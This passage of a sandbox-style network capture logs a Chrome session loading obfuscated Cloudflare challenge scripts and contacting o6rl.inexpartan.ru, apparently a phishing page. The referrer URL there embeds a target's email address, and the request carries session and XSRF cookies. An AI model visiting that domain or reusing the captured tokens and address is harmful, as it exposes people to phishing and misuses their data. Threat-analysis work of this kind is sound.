,g9,gf,gg,gh,gr,gC,gG,gH,eR,eS){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1270))/1+parseInt(gI(387))/2+parseInt(gI(540))/3(parseInt(gI(833))/4)+parseInt(gI(674))/5(parseInt(gI(452))/6)+-parseInt(gI(1404))/7+parseInt(gI(731
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 74 28 27 41 27 29 2c 42 3d 42 5b 68 72 28 31 30 35 33 29 5d 5b 68 72 28 31 32 31 38 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 72 28 39 39 35 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 68 72 28 39 30 32 29 5d 28 66 6e 2c 67 2c 68 2c 44 29 2c 6f 5b 68 72 28 39 35 34 29 5d 28 42 2c 45 29 3f 28 46 3d 6f 5b 68 72 28 31 30 38 37 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 68 72 28 31 36 32 30 29 5d 28 68 5b 44 5d 29 2c 68 72 28 39 33 33 29 3d 3d 3d 69 2b 44 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 73 28 6f 5b 68 72 28 31 34 36 30 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 29 3a 6f 5b 68 72 28 31 34 31 36 29 5d 28 73 2c 6f 5b 68 72 28 31 35 37 38 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 68 Data Ascii: t('A'),B=B[hr(1053)][hr(1218)](B),C=0;C<x[hr(995)];D=x[C],E=o[hr(902)](fn,g,h,D),o[hr(954)](B,E)?(F=o[hr(1087)]('s',E)&&!g[hr(1620)](h[D]),hr(933)===i+D?s(i+D,E):F\|\|s(o[hr(1460)](i,D),h[D])):o[hr(1416)](s,o[hr(1578)](i,D),E),C++);return j;function s(G,H,h
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 59 2c 64 2c 65 2c 66 2c 67 29 7b 68 59 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 68 59 28 38 34 35 29 5d 3d 68 59 28 31 30 31 38 29 2c 64 5b 68 59 28 37 30 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 68 59 28 37 30 30 29 5d 28 31 65 33 2c 65 4d 5b 68 59 28 38 37 30 29 5d 5b 68 59 28 38 32 38 29 5d 28 32 3c 3c 66 2c 33 32 29 29 2c 65 4d 5b 68 59 28 31 31 38 36 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 5a 29 7b 68 5a 3d 68 59 2c 65 4d 5b 65 5b 68 5a 28 38 34 35 29 5d 5d 26 26 28 65 4d 5b 68 5a 28 31 32 32 35 29 5d 5b 68 5a 28 36 33 32 29 5d 28 29 2c 65 4d 5b 68 5a 28 31 32 32 35 29 5d 5b 68 5a 28 33 31 35 29 5d 28 29 2c 65 4d 5b 68 5a 28 31 33 37 36 29 5d 3d Data Ascii: function(hY,d,e,f,g){hY=gJ,d={},d[hY(845)]=hY(1018),d[hY(700)]=function(h,i){return h*i},e=d,f=1,g=e[hY(700)](1e3,eM[hY(870)][hY(828)](2<<f,32)),eM[hY(1186)](function(hZ){hZ=hY,eM[e[hZ(845)]]&&(eM[hZ(1225)][hZ(632)](),eM[hZ(1225)][hZ(315)](),eM[hZ(1376)]=
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 3d 67 2c 42 5b 69 30 28 39 30 38 29 5d 3d 6b 2c 42 5b 69 30 28 37 37 37 29 5d 3d 6f 2c 43 3d 4a 53 4f 4e 5b 69 30 28 34 33 34 29 5d 28 42 29 2c 44 3d 67 48 5b 69 30 28 31 35 39 31 29 5d 28 43 29 5b 69 30 28 36 30 37 29 5d 28 27 2b 27 2c 69 30 28 38 30 33 29 29 2c 73 5b 69 30 28 35 33 30 29 5d 28 27 76 5f 27 2b 65 4d 5b 69 30 28 36 30 33 29 5d 5b 69 30 28 31 31 37 33 29 5d 2b 27 3d 27 2b 44 29 7d 63 61 74 63 68 28 45 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 38 37 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 69 31 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 69 31 3d 67 4a 2c 65 3d 7b 27 48 69 6b 71 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 2c 27 4e 4c 78 48 4a 27 3a 69 31 28 31 35 38 31 29 2c 27 66 Data Ascii: =g,B[i0(908)]=k,B[i0(777)]=o,C=JSON[i0(434)](B),D=gH[i0(1591)](C)[i0(607)]('+',i0(803)),s[i0(530)]('v_'+eM[i0(603)][i0(1173)]+'='+D)}catch(E){}},eM[gJ(872)]=function(d,i1,e,f,g,h,i,j,k,l,m){(i1=gJ,e={'HikqN':function(n,o){return o===n},'NLxHJ':i1(1581),'f
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 29 2c 27 50 68 57 74 52 27 3a 69 33 28 39 36 33 29 2c 27 4b 47 53 57 49 27 3a 69 33 28 39 33 30 29 7d 2c 6a 3d 64 5b 69 33 28 36 35 36 29 5d 28 29 2c 6b 3d 69 5b 69 33 28 36 37 38 29 5d 2c 6a 5b 69 33 28 37 33 35 29 5d 28 6b 29 3e 2d 31 29 65 4d 5b 69 33 28 31 31 38 36 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 34 29 7b 69 34 3d 69 33 2c 65 4d 5b 69 34 28 37 35 34 29 5d 28 29 7d 2c 31 65 33 29 3b 65 6c 73 65 20 69 66 28 69 33 28 39 33 30 29 21 3d 3d 69 5b 69 33 28 31 34 31 35 29 5d 29 7b 66 6f 72 28 6f 3d 69 33 28 35 30 31 29 5b 69 33 28 31 33 30 30 29 5d 28 27 7c 27 29 2c 73 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6f 5b 73 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 61 34 5b 69 5b 69 33 28 33 30 37 29 5d 28 61 35 2c 35 29 5d 7c 3d 69 5b 69 33 28 31 30 Data Ascii: ),'PhWtR':i3(963),'KGSWI':i3(930)},j=d[i3(656)](),k=i[i3(678)],j[i3(735)](k)>-1)eM[i3(1186)](function(i4){i4=i3,eM[i4(754)]()},1e3);else if(i3(930)!==i[i3(1415)]){for(o=i3(501)[i3(1300)]('\|'),s=0;!![];){switch(o[s++]){case'0':a4[i[i3(307)](a5,5)]\|=i[i3(10
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 3b 63 61 73 65 27 31 31 27 3a 48 3d 4d 5b 33 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 32 27 3a 49 3d 4d 5b 32 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 33 27 3a 4a 3d 4d 5b 34 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 34 27 3a 4d 5b 31 5d 3d 69 5b 69 33 28 36 31 35 29 5d 28 62 65 2c 43 2c 4d 5b 31 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 35 27 3a 4d 5b 37 5d 3d 62 6b 28 4b 2c 4d 5b 37 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 36 27 3a 4b 3d 4d 5b 37 5d 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 72 65 74 75 72 6e 20 4d 3b 63 61 73 65 27 34 27 3a 4e 3d 28 4c 3d 5b 31 31 31 36 33 35 32 34 30 38 2c 31 38 39 39 34 34 37 34 34 31 2c 33 30 34 39 33 32 33 Data Ascii: ;case'11':H=M[3];continue;case'12':I=M[2];continue;case'13':J=M[4];continue;case'14':M[1]=i[i3(615)](be,C,M[1]);continue;case'15':M[7]=bk(K,M[7]);continue;case'16':K=M[7];continue}break}continue;case'3':return M;case'4':N=(L=[1116352408,1899447441,3049323
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 30 33 29 5d 5b 67 4a 28 31 32 39 39 29 5d 5b 67 4a 28 31 30 37 32 29 5d 2c 66 4c 3d 65 4d 5b 67 4a 28 36 30 33 29 5d 5b 67 4a 28 31 32 39 39 29 5d 5b 67 4a 28 31 30 34 34 29 5d 2c 66 58 3d 21 5b 5d 2c 67 39 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4a 28 31 32 33 33 29 5d 28 67 4a 28 31 36 32 32 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 69 54 2c 64 2c 65 29 7b 69 54 3d 67 4a 2c 64 3d 7b 27 78 51 67 55 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 61 55 45 41 6c 27 3a 69 54 28 31 33 36 38 29 2c 27 77 73 72 43 74 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 28 67 2c 68 29 7d 2c 27 5a 52 77 46 4d 27 3a 69 54 28 33 36 30 29 2c 27 41 63 41 74 71 27 3a 69 54 28 31 33 36 31 29 2c Data Ascii: 03)][gJ(1299)][gJ(1072)],fL=eM[gJ(603)][gJ(1299)][gJ(1044)],fX=![],g9=undefined,eM[gJ(1233)](gJ(1622),function(c,iT,d,e){iT=gJ,d={'xQgUm':function(f,g){return f===g},'aUEAl':iT(1368),'wsrCt':function(f,g,h){return f(g,h)},'ZRwFM':iT(360),'AcAtq':iT(1361),
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 64 75 56 6e 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 54 54 6f 74 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 3d 69 7d 2c 27 45 72 72 4b 56 27 3a 6a 74 28 31 33 34 32 29 2c 27 45 65 6c 54 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 79 44 53 4e 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 57 6d 57 52 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 72 6c 42 79 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 48 4a 5a 4e 57 27 3a 66 75 6e 63 74 69 6f 6e Data Ascii: eturn h==i},'duVnP':function(h,i){return h<i},'TTotc':function(h,i){return h!==i},'ErrKV':jt(1342),'EelTY':function(h,i){return h(i)},'yDSND':function(h,i){return h<<i},'WmWRB':function(h,i){return h==i},'rlByc':function(h,i){return h(i)},'HJZNW':function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49767	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:34 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:34 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:34 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f71271b7bab9dff-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:34 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	104.21.91.204	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:35 UTC	1339	OUT	GET /favicon.ico HTTP/1.1 Host: o6rl.inexpartan.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjZvckFzVzllQklsTDBiZEo4RkRKOXc9PSIsInZhbHVlIjoiNkdRdmlETkp0Y0VSNUtxZXZXdUc5MW9lVE9abHFwOXk2NTZuS0xjb2EyQzFlUTZTZHRrMFJMNUFTWStORWFwZURReUU1OUE5Z2d0SDJFVC9uNHlyc01RT3NDNjVObDkxZVBaV2QrUFBZaHBkaWdMdkU5Mlh3MFUvV2dKbU5TWW8iLCJtYWMiOiI1ZDJhMDA4MmM4YTA3NWRhOGQ1NjMwYWIxNGIzNzg5MzViYTNlNDMyZTAxN2Q0YmNlY2Y2MzVhNTU5YjMwODk0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlFWK1U4dWluTmUxK3BjZW80YzJrMGc9PSIsInZhbHVlIjoiYStHeEtjYXp0TktSOGhKUVVnazZieEVudWxoVVVJMVNaZFJ1ZU5Tbzd5VGhnWkJ1SUFKRVZYVUpZR0VScmRrb1dia3Rkci90ZTRxRHhFTmFBamtGaEFFV044MWhtWFQ4Z1ZmTTJvd0JFckg4TjExRkhnTi9qQmRPMVRVeC9OOHYiLCJtYWMiOiIwZjFkODRlNjEyOTcxNmI1NzdlMzRhNWJhNDFlMWNjNDc1ZDQ1ZTgzM2UwNWUyM2VkNTAwODgzMjJlN2VhMGM5IiwidGFnIjoiIn0%3D
2024-12-24 14:06:35 UTC	1069	IN	HTTP/1.1 404 Not Found Date: Tue, 24 Dec 2024 14:06:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Age: 9823 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZDUxCl9o5ILuNQ9LtJV5oDGSehkMgtpnrYG3dGjUe%2BkEJhR5Vd0N%2B0QiT4mUIWvAWOCt%2FonG9TjoVuWrq4fzPWKOxgCQk5dzZPG6Ez4syCDm8IZxaOOzwCQpM%2BFunQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1054&min_rtt=1041&rtt_var=417&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2152&delivery_rate=2482999&cwnd=251&unsent_bytes=0&cid=b42ffbadf2b4c84d&ts=19&x=0" CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8f7127207f75de99-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1601&rtt_var=614&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1917&delivery_rate=1764350&cwnd=209&unsent_bytes=0&cid=15a5696da7853a0f&ts=9354&x=0"
2024-12-24 14:06:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49768	104.18.95.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:36 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:36 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:36 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f712725e9ea4352-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:36 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49769	104.18.95.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:36 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f71270faa3f423a&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:37 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:36 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 113940 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f712728bd5243ef-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:37 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 53 79 57 4f 55 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 Data Ascii: eferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turnstile_success":"Success%21","testing_only_alwa
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 32 33 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 32 35 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 36 39 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 38 32 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 36 33 31 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 36 30 38 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 34 36 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1223))/1(parseInt(gI(1725))/2)+parseInt(gI(1069))/3(-parseInt(gI(1682))/4)+parseInt(gI(631))/5(parseInt(gI(608))/6)+parseInt(gI(846))/7(parseInt(gI
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 4f 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 75 63 6d 69 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6f 61 77 52 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 42 62 69 44 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6c 79 4e 6a 45 27 3a 68 6b 28 34 37 38 29 2c 27 56 42 72 73 62 27 3a 68 6b 28 31 38 34 31 29 2c 27 56 71 54 43 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 74 75 76 68 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 7a 74 73 6f 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c Data Ascii: OY':function(h,i){return i\|h},'ucmid':function(h,i){return h<<i},'oawRp':function(h,i){return h<<i},'BbiDg':function(h,i){return h-i},'lyNjE':hk(478),'VBrsb':hk(1841),'VqTCF':function(h,i){return i==h},'tuvhg':function(h,i){return h>i},'ztsoX':function(h,
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 44 3d 64 5b 68 71 28 38 38 39 29 5d 28 53 74 72 69 6e 67 2c 4c 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 69 66 28 4f 62 6a 65 63 74 5b 68 71 28 31 33 31 32 29 5d 5b 68 71 28 31 34 32 31 29 5d 5b 68 71 28 34 38 30 29 5d 28 43 2c 44 29 29 7b 69 66 28 32 35 36 3e 44 5b 68 71 28 38 30 30 29 5d 28 30 29 29 7b 66 6f 72 28 78 3d 30 3b 78 3c 47 3b 49 3c 3c 3d 31 2c 64 5b 68 71 28 38 32 35 29 5d 28 4a 2c 64 5b 68 71 28 35 31 30 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 68 71 28 31 36 30 31 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b 66 6f 72 28 50 3d 44 5b 68 71 28 38 30 30 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 68 71 28 31 33 35 37 29 5d 28 38 2c 78 29 3b 49 3d 64 5b 68 71 Data Ascii: ontinue;case'2':D=d[hq(889)](String,L);continue;case'3':if(Object[hq(1312)][hq(1421)][hq(480)](C,D)){if(256>D[hq(800)](0)){for(x=0;x<G;I<<=1,d[hq(825)](J,d[hq(510)](j,1))?(J=0,H[hq(1601)](o(I)),I=0):J++,x++);for(P=D[hq(800)](0),x=0;d[hq(1357)](8,x);I=d[hq
2024-12-24 14:06:37 UTC	1369	IN	Data Raw: 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 69 66 28 73 5b 68 71 28 31 33 34 38 29 5d 28 2d 31 2c 53 29 29 74 68 72 6f 77 20 56 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 61 64 2e 68 5b 73 5b 68 71 28 31 34 34 33 29 5d 28 31 30 38 2c 61 65 2e 67 29 5d 5b 68 71 28 31 33 34 36 29 5d 28 53 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 61 39 2e 68 5b 73 5b 68 71 28 35 35 38 29 5d 28 35 37 2c 61 61 2e 67 29 5d 3d 56 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 61 62 2e 68 5b 61 63 2e 67 5e 35 34 2e 39 5d 3d 52 5b 68 71 28 31 30 33 30 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 65 6c 73 65 20 74 68 72 6f 77 20 56 7d 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 78 3d 30 3b 64 5b 68 71 28 38 38 30 29 5d 28 78 2c 47 29 Data Ascii: tinue;case'1':if(s[hq(1348)](-1,S))throw V;continue;case'2':ad.h[s[hq(1443)](108,ae.g)][hq(1346)](S);continue;case'3':a9.h[s[hq(558)](57,aa.g)]=V;continue;case'4':ab.h[ac.g^54.9]=R[hq(1030)]();continue}break}}else throw V}}else{for(P=1,x=0;d[hq(880)](x,G)
